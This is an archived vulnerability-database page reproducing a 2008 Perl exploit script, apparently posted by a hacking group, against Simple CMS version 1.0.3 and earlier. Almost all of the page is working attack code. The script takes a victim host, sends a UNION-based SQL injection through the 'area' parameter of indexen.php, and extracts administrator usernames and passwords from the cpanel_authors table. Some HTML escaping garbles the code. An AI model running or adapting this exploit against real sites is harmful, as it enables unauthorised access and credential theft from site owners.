Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:19183
HistoryFeb 18, 2008 - 12:00 a.m.

Simple CMS <= 1.0.3 (indexen.php area) Remote SQL Injection Exploit

2008-02-1800:00:00
vulners.com
42

#!/usr/bin/perl

Simple CMS <= 1.0.3 (?area=) Remote SQL Injection Exploit

Code by JosS | Jose Luis Gуngora Fernбndez

Contact: sys-project[at]hotmail.com

Spanish Hackers Team / Sys - Project

http://www.spanish-hackers.com

special thanks to ka0x

print "\t\t########################################################\n\n";
print "\t\t# Simple CMS <= 1.0.3 Remote SQL Injection Exploit #\n\n";
print "\t\t# by JosS #\n\n";
print "\t\t########################################################\n\n";

use strict;
use LWP::UserAgent;

my $victim = $ARGV[0];

if(!$ARGV[0]) {
print "\n[x] Simple CMS <= 1.0.3 Remote SQL Injection Exploit\n";
print "[x] written by JosS - sys-project[at]hotmail.com\n";
print "[x] usage: perl xpl.pl [host]\n";
print "[x] example: http://localhost/path/&#92;n&#92;n&quot;;
exit(1);
}

print &quot;&#92;n[+] connecting in $victim...&#92;n&quot;;
my $cnx = LWP::UserAgent-&gt;new&#40;&#41; or die;
my $go=$cnx-&gt;get&#40;$victim.&quot;/indexen.php?area=-1+union+select+1,concat&#40;0x5f5f5f5f,0x5b215d20757365723a20,UName,0x20205b215d20706173733a20,PWord,0x5f5f5f5f&#41;,3,4,5+from+cpanel_authors/*&quot;&#41;;
if &#40;$go-&gt;content =~ m/____&#40;.*?&#41;____/ms&#41; {
    print &quot;$1&#92;n&quot;;
} else {
    print &quot;&#92;n[-] exploit failed&#92;n&quot;;
}